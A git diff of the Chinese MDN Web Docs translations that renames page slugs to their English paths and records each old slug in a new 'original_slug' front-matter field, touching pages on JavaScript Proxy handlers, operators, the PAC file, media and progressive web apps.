    diff --git a/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html index e64b1758ff..71e0356d9a 100644 --- a/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html +++ b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html @@ -1,7 +1,8 @@ --- title: 代理自动配置文件(PAC)文件 -slug: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file +slug: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file translation_of: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file +original_slug: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file ---
    {{HTTPSidebar}}
    diff --git a/files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html b/files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html index bcc2a35e13..fa89245988 100644 --- a/files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html +++ b/files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html @@ -1,7 +1,8 @@ --- title: 量词 -slug: Web/JavaScript/Guide/Regular_Expressions/量词 +slug: Web/JavaScript/Guide/Regular_Expressions/Quantifiers translation_of: Web/JavaScript/Guide/Regular_Expressions/Quantifiers +original_slug: Web/JavaScript/Guide/Regular_Expressions/量词 ---

    {{jsSidebar("JavaScript Guide")}}

    diff --git a/files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html b/files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html index fb8c618a9b..22e3318c11 100644 --- a/files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html +++ b/files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html @@ -1,11 +1,12 @@ --- title: 类元素 -slug: Web/JavaScript/Reference/Classes/Class_elements +slug: Web/JavaScript/Reference/Classes/Public_class_fields tags: - Class - JavaScript - 类 translation_of: Web/JavaScript/Reference/Classes/Public_class_fields +original_slug: Web/JavaScript/Reference/Classes/Class_elements ---
    {{JsSidebar("Classes")}}
    diff --git a/files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html b/files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html index cceeb330c4..8997836b20 100644 --- a/files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html +++ b/files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html @@ -1,7 +1,8 @@ --- title: 'TypeError: can''t assign to property "x" on "y": not an object' -slug: Web/JavaScript/Reference/Errors/不能添加属性 +slug: Web/JavaScript/Reference/Errors/Cant_assign_to_property translation_of: Web/JavaScript/Reference/Errors/Cant_assign_to_property +original_slug: Web/JavaScript/Reference/Errors/不能添加属性 ---
    {{jsSidebar("Errors")}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html b/files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html index 7869661836..5e3af5a309 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html @@ -1,12 +1,13 @@ --- title: Math.acosh() -slug: Web/JavaScript/Reference/Global_Objects/Math/反双曲余弦值 +slug: Web/JavaScript/Reference/Global_Objects/Math/acosh tags: - JavaScript - 双曲函数 - 数学 - 方法 translation_of: Web/JavaScript/Reference/Global_Objects/Math/acosh +original_slug: Web/JavaScript/Reference/Global_Objects/Math/反双曲余弦值 ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html index 62b8b67f5f..a077691b92 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html @@ -1,12 +1,13 @@ --- title: handler.apply() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply tags: - ECMAScript6 - JavaScript - Method - Proxy translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html index 209e9752e3..926148c90d 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html @@ -1,7 +1,8 @@ --- title: handler.construct() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html index 9912e043a0..d3a25bbd1e 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html @@ -1,7 +1,8 @@ --- title: handler.defineProperty() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/defineProperty +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/defineProperty ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html index 6cb4255755..22e48aee67 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html @@ -1,7 +1,8 @@ --- title: handler.deleteProperty() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html index 14a350436a..d84accfa4d 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html @@ -1,12 +1,13 @@ --- title: handler.get() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/get +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get tags: - ECMAScript6 - JavaScript - Method - Proxy translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/get ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html index 470b2c6ad9..7632c26976 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html @@ -1,7 +1,8 @@ --- title: handler.getOwnPropertyDescriptor() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getOwnPropertyDescriptor +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getOwnPropertyDescriptor ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html index 215d2d9646..02e38446b2 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html @@ -1,6 +1,6 @@ --- title: handler.getPrototypeOf() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getPrototypeOf +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf tags: - ECMAScript 2015 - JavaScript @@ -8,6 +8,7 @@ tags: - Proxy - 方法 translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getPrototypeOf ---
    {{JSRef("Global_Objects", "Proxy")}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html index fead0846ff..286d1e9d77 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html @@ -1,7 +1,8 @@ --- title: handler.has() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/has +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/has ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html index 7be418197f..ec12d1dd72 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html @@ -1,12 +1,13 @@ --- title: handler.isExtensible() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/isExtensible +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible tags: - ECMAScript 2015 - JavaScript - Method - Proxy translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/isExtensible ---
    {{JSRef}}
    handler.isExtensible() 方法用于拦截对对象的Object.isExtensible()。
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html index 956b908375..921c8d9b36 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html @@ -1,7 +1,8 @@ --- title: handler.ownKeys() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/ownKeys +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/ownKeys ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html index dd6823c9dd..51f7093d50 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html @@ -1,9 +1,10 @@ --- title: handler.preventExtensions() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/preventExtensions +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions tags: - Proxy 代理 拦截 translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/preventExtensions ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html index c66481647a..9857c06818 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html @@ -1,6 +1,6 @@ --- title: handler.set() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/set +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set tags: - ECMAScript6 - JavaScript @@ -8,6 +8,7 @@ tags: - Proxy - Proxy拦截 translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/set ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html index 9d88cd2593..48e7f6be60 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html @@ -1,7 +1,8 @@ --- title: handler.setPrototypeOf() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/setPrototypeOf +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/setPrototypeOf ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html b/files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html index 43023eae7f..e846cf7190 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html @@ -1,6 +1,7 @@ --- title: 比较 Reflect 和 Object 方法 -slug: Web/JavaScript/Reference/Global_Objects/Reflect/比较_Reflect_和_Object_方法 +slug: >- + Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods tags: - Guide - JavaScript @@ -9,6 +10,7 @@ tags: - Reflect translation_of: >- Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods +original_slug: Web/JavaScript/Reference/Global_Objects/Reflect/比较_Reflect_和_Object_方法 ---
    {{jssidebar}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html b/files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html index 9c8319cb29..a3422659aa 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html @@ -1,12 +1,13 @@ --- title: String.prototype.trimRight() -slug: Web/JavaScript/Reference/Global_Objects/String/TrimRight +slug: Web/JavaScript/Reference/Global_Objects/String/trimEnd tags: - JavaScript - Method - Prototype - String translation_of: Web/JavaScript/Reference/Global_Objects/String/trimEnd +original_slug: Web/JavaScript/Reference/Global_Objects/String/TrimRight ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html b/files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html index bc6133cecb..97a31c4277 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html @@ -1,6 +1,6 @@ --- title: String.prototype.trimStart() -slug: Web/JavaScript/Reference/Global_Objects/String/TrimLeft +slug: Web/JavaScript/Reference/Global_Objects/String/trimStart tags: - JavaScript - Method @@ -10,6 +10,7 @@ tags: - 字符串 - 方法 translation_of: Web/JavaScript/Reference/Global_Objects/String/trimStart +original_slug: Web/JavaScript/Reference/Global_Objects/String/TrimLeft ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/addition/index.html b/files/zh-cn/web/javascript/reference/operators/addition/index.html index 6da432b4e6..c3726a9413 100644 --- a/files/zh-cn/web/javascript/reference/operators/addition/index.html +++ b/files/zh-cn/web/javascript/reference/operators/addition/index.html @@ -1,7 +1,8 @@ --- title: 相加运算符 (+) -slug: Web/JavaScript/Reference/Operators/相加 +slug: Web/JavaScript/Reference/Operators/Addition translation_of: Web/JavaScript/Reference/Operators/Addition +original_slug: Web/JavaScript/Reference/Operators/相加 ---
    {{jsSidebar("相加运算符")}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/async_function/index.html b/files/zh-cn/web/javascript/reference/operators/async_function/index.html index eebfd13ca2..40ee1e2fea 100644 --- a/files/zh-cn/web/javascript/reference/operators/async_function/index.html +++ b/files/zh-cn/web/javascript/reference/operators/async_function/index.html @@ -1,6 +1,6 @@ --- title: async function expression -slug: Web/JavaScript/Reference/Operators/async允许声明一个函数为一个包含异步操作的函数 +slug: Web/JavaScript/Reference/Operators/async_function tags: - JavaScript - 函数 @@ -8,6 +8,7 @@ tags: - 实验性内容 - 操作符 translation_of: Web/JavaScript/Reference/Operators/async_function +original_slug: Web/JavaScript/Reference/Operators/async允许声明一个函数为一个包含异步操作的函数 ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html b/files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html index 20eece2691..9010ddf09b 100644 --- a/files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html +++ b/files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html @@ -1,7 +1,8 @@ --- title: 按位与 (&) -slug: Web/JavaScript/Reference/Operators/按位与 +slug: Web/JavaScript/Reference/Operators/Bitwise_AND translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND +original_slug: Web/JavaScript/Reference/Operators/按位与 ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/decrement/index.html b/files/zh-cn/web/javascript/reference/operators/decrement/index.html index f405740df3..aca67c15f9 100644 --- a/files/zh-cn/web/javascript/reference/operators/decrement/index.html +++ b/files/zh-cn/web/javascript/reference/operators/decrement/index.html @@ -1,12 +1,13 @@ --- title: 自减 (--) -slug: Web/JavaScript/Reference/Operators/自减 +slug: Web/JavaScript/Reference/Operators/Decrement tags: - JavaScript - 自减 - 语法特性 - 运算符 translation_of: Web/JavaScript/Reference/Operators/Decrement +original_slug: Web/JavaScript/Reference/Operators/自减 ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/equality/index.html b/files/zh-cn/web/javascript/reference/operators/equality/index.html index e100ec1d2d..fadd413b17 100644 --- a/files/zh-cn/web/javascript/reference/operators/equality/index.html +++ b/files/zh-cn/web/javascript/reference/operators/equality/index.html @@ -1,10 +1,11 @@ --- title: 相等(==) -slug: Web/JavaScript/Reference/Operators/相等 +slug: Web/JavaScript/Reference/Operators/Equality tags: - JavaScript - Reference translation_of: Web/JavaScript/Reference/Operators/Equality +original_slug: Web/JavaScript/Reference/Operators/相等 ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/logical_and/index.html b/files/zh-cn/web/javascript/reference/operators/logical_and/index.html index de38317f42..78c4eee070 100644 --- a/files/zh-cn/web/javascript/reference/operators/logical_and/index.html +++ b/files/zh-cn/web/javascript/reference/operators/logical_and/index.html @@ -1,7 +1,8 @@ --- title: 逻辑与(&&) -slug: Web/JavaScript/Reference/Operators/逻辑和 +slug: Web/JavaScript/Reference/Operators/Logical_AND translation_of: Web/JavaScript/Reference/Operators/Logical_AND +original_slug: Web/JavaScript/Reference/Operators/逻辑和 ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html b/files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html index da2f04c775..6b45bc4aad 100644 --- a/files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html +++ b/files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html @@ -1,6 +1,6 @@ --- title: 可选链操作符 -slug: Web/JavaScript/Reference/Operators/可选链 +slug: Web/JavaScript/Reference/Operators/Optional_chaining tags: - '?.' - JavaScript @@ -12,6 +12,7 @@ tags: - 运算符 - 链式调用 translation_of: Web/JavaScript/Reference/Operators/Optional_chaining +original_slug: Web/JavaScript/Reference/Operators/可选链 ---
    {{JSSidebar("Operators")}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html b/files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html index 06ce40ad0b..d8087ba0e3 100644 --- a/files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html +++ b/files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html @@ -1,6 +1,6 @@ --- title: 管道操作符 -slug: Web/JavaScript/Reference/Operators/管道操作符 +slug: Web/JavaScript/Reference/Operators/Pipeline_operator tags: - Experimental - JavaScript @@ -9,6 +9,7 @@ tags: - 链式 - 链式调用 translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator +original_slug: Web/JavaScript/Reference/Operators/管道操作符 ---
    {{jsSidebar("Operators")}} {{SeeCompatTable}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/remainder/index.html b/files/zh-cn/web/javascript/reference/operators/remainder/index.html index 276296ccd7..f09292e4ff 100644 --- a/files/zh-cn/web/javascript/reference/operators/remainder/index.html +++ b/files/zh-cn/web/javascript/reference/operators/remainder/index.html @@ -1,12 +1,13 @@ --- title: 取余 (%) -slug: Web/JavaScript/Reference/Operators/取余 +slug: Web/JavaScript/Reference/Operators/Remainder tags: - JavaScript - Language feature - Operator - Reference translation_of: Web/JavaScript/Reference/Operators/Remainder +original_slug: Web/JavaScript/Reference/Operators/取余 ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/web/javascript/reference/template_literals/index.html b/files/zh-cn/web/javascript/reference/template_literals/index.html index aec3adfb5b..33fb6ebe53 100644 --- a/files/zh-cn/web/javascript/reference/template_literals/index.html +++ b/files/zh-cn/web/javascript/reference/template_literals/index.html @@ -1,12 +1,13 @@ --- title: 模板字符串 -slug: Web/JavaScript/Reference/template_strings +slug: Web/JavaScript/Reference/Template_literals tags: - ECMAScript6 - JavaScript - Template string - 模板字符串 translation_of: Web/JavaScript/Reference/Template_literals +original_slug: Web/JavaScript/Reference/template_strings ---
    {{JsSidebar("More")}} 
    diff --git a/files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html b/files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html index aacff4c8d9..d3ce1ec6e1 100644 --- a/files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html +++ b/files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html @@ -1,7 +1,8 @@ --- -title: 'The performance hazards of [[Prototype]] mutation' -slug: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation' -translation_of: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation' +title: The performance hazards of [[Prototype]] mutation +slug: Web/JavaScript/The_performance_hazards_of_prototype_mutation +translation_of: Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation +original_slug: Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation ---

    {{draft}}

    diff --git a/files/zh-cn/web/media/autoplay_guide/index.html b/files/zh-cn/web/media/autoplay_guide/index.html index db2ac88dc0..aa8c207ed2 100644 --- a/files/zh-cn/web/media/autoplay_guide/index.html +++ b/files/zh-cn/web/media/autoplay_guide/index.html @@ -1,7 +1,8 @@ --- title: Autoplay guide for media and Web Audio APIs -slug: Web/媒体/Autoplay_guide +slug: Web/Media/Autoplay_guide translation_of: Web/Media/Autoplay_guide +original_slug: Web/媒体/Autoplay_guide ---

    Automatically starting the playback of audio (or videos with audio tracks) immediately upon page load can be an unwelcome surprise to users. While autoplay of media serves a useful purpose, it should be used carefully and only when needed. In order to give users control over this, browsers often provide various forms of autoplay blocking. In this guide, we'll cover autoplay functionality in the various media and Web Audio APIs, including a brief overview of how to use autoplay and how to work with browsers to handle autoplay blocking gracefully.

    diff --git a/files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html b/files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html index aed7160371..d54f6f8749 100644 --- a/files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html +++ b/files/zh-cn/web/media/dash_adaptive_streaming_for_html_5_video/index.html @@ -1,6 +1,6 @@ --- title: 为 HTML 5 视频提供的 DASH 自适应串流 -slug: Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video +slug: Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video tags: - DASH - HTML @@ -8,6 +8,7 @@ tags: - 指南 - 视频流 translation_of: Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video +original_slug: Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video ---

    经由 HTTP 的动态自适应串流(DASH)是一种自适应串流协议。 这意味着它使得视频串流能基于网络性能来调整比特率,以保证视频流畅播放。

    diff --git a/files/zh-cn/web/media/formats/video_codecs/index.html b/files/zh-cn/web/media/formats/video_codecs/index.html index d299975762..418edf17d3 100644 --- a/files/zh-cn/web/media/formats/video_codecs/index.html +++ b/files/zh-cn/web/media/formats/video_codecs/index.html @@ -1,7 +1,8 @@ --- title: 网络视频编解码器指南 -slug: Web/Media/Formats/视频编解码器 +slug: Web/Media/Formats/Video_codecs translation_of: Web/Media/Formats/Video_codecs +original_slug: Web/Media/Formats/视频编解码器 ---
    {{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}
    diff --git a/files/zh-cn/web/media/index.html b/files/zh-cn/web/media/index.html index 5a66bbe303..3a258c4c65 100644 --- a/files/zh-cn/web/media/index.html +++ b/files/zh-cn/web/media/index.html @@ -1,10 +1,11 @@ --- title: Web 媒体技术 -slug: Web/媒体 +slug: Web/Media tags: - 视频 - 音频 translation_of: Web/Media +original_slug: Web/媒体 ---
    diff --git a/files/zh-cn/web/performance/how_browsers_work/index.html b/files/zh-cn/web/performance/how_browsers_work/index.html index 71e4bce57e..bacbcf0762 100644 --- a/files/zh-cn/web/performance/how_browsers_work/index.html +++ b/files/zh-cn/web/performance/how_browsers_work/index.html @@ -1,7 +1,8 @@ --- title: 渲染页面:浏览器的工作原理 -slug: Web/Performance/浏览器渲染页面的工作原理 +slug: Web/Performance/How_browsers_work translation_of: Web/Performance/How_browsers_work +original_slug: Web/Performance/浏览器渲染页面的工作原理 ---

    页面内容快速加载和流畅的交互是用户希望得到的Web体验,因此,开发者应力争实现这两个目标。

    diff --git a/files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html b/files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html index a0915ea9d2..6c54e5b115 100644 --- a/files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html +++ b/files/zh-cn/web/progressive_web_apps/add_to_home_screen/index.html @@ -1,6 +1,6 @@ --- title: 添加到主屏幕 -slug: Web/Progressive_web_apps/添加到主屏幕 +slug: Web/Progressive_web_apps/Add_to_home_screen tags: - PWA - 图标 @@ -9,6 +9,7 @@ tags: - 清单 - 渐进式Web应用 translation_of: Web/Progressive_web_apps/Add_to_home_screen +original_slug: Web/Progressive_web_apps/添加到主屏幕 ---

    添加到主屏幕(A2HS)添加到主屏幕(简称A2HS)是现代智能手机浏览器中的一项功能,使开发人员可以轻松便捷地将自己喜欢的Web应用程序(或网站)的快捷方式添加到主屏幕中,以便他们随后可以通过单点访问它。本指南说明了A2HS的使用方式,以及作为开发人员要使您的用户利用A2HS所需做的事情。

    diff --git a/files/zh-cn/web/progressive_web_apps/loading/index.html b/files/zh-cn/web/progressive_web_apps/loading/index.html index 7f45a3c278..13e51db104 100644 --- a/files/zh-cn/web/progressive_web_apps/loading/index.html +++ b/files/zh-cn/web/progressive_web_apps/loading/index.html @@ -1,10 +1,11 @@ --- title: 渐进式加载 -slug: Web/Progressive_web_apps/加载 +slug: Web/Progressive_web_apps/Loading tags: - PWA - 渐进式加载 translation_of: Web/Progressive_web_apps/Loading +original_slug: Web/Progressive_web_apps/加载 ---
    {{PreviousMenu("Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}
    diff --git a/files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html b/files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html index ef181eedcc..0887a22619 100644 --- a/files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html +++ b/files/zh-cn/web/progressive_web_apps/responsive/media_types/index.html @@ -1,7 +1,8 @@ --- title: 媒体 -slug: Web/Guide/CSS/Getting_started/Media +slug: Web/Progressive_web_apps/Responsive/Media_types translation_of: Web/Progressive_web_apps/Responsive/Media_types +original_slug: Web/Guide/CSS/Getting_started/Media ---

    {{CSSTutorialTOC}} {{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Tables", "表格")}}

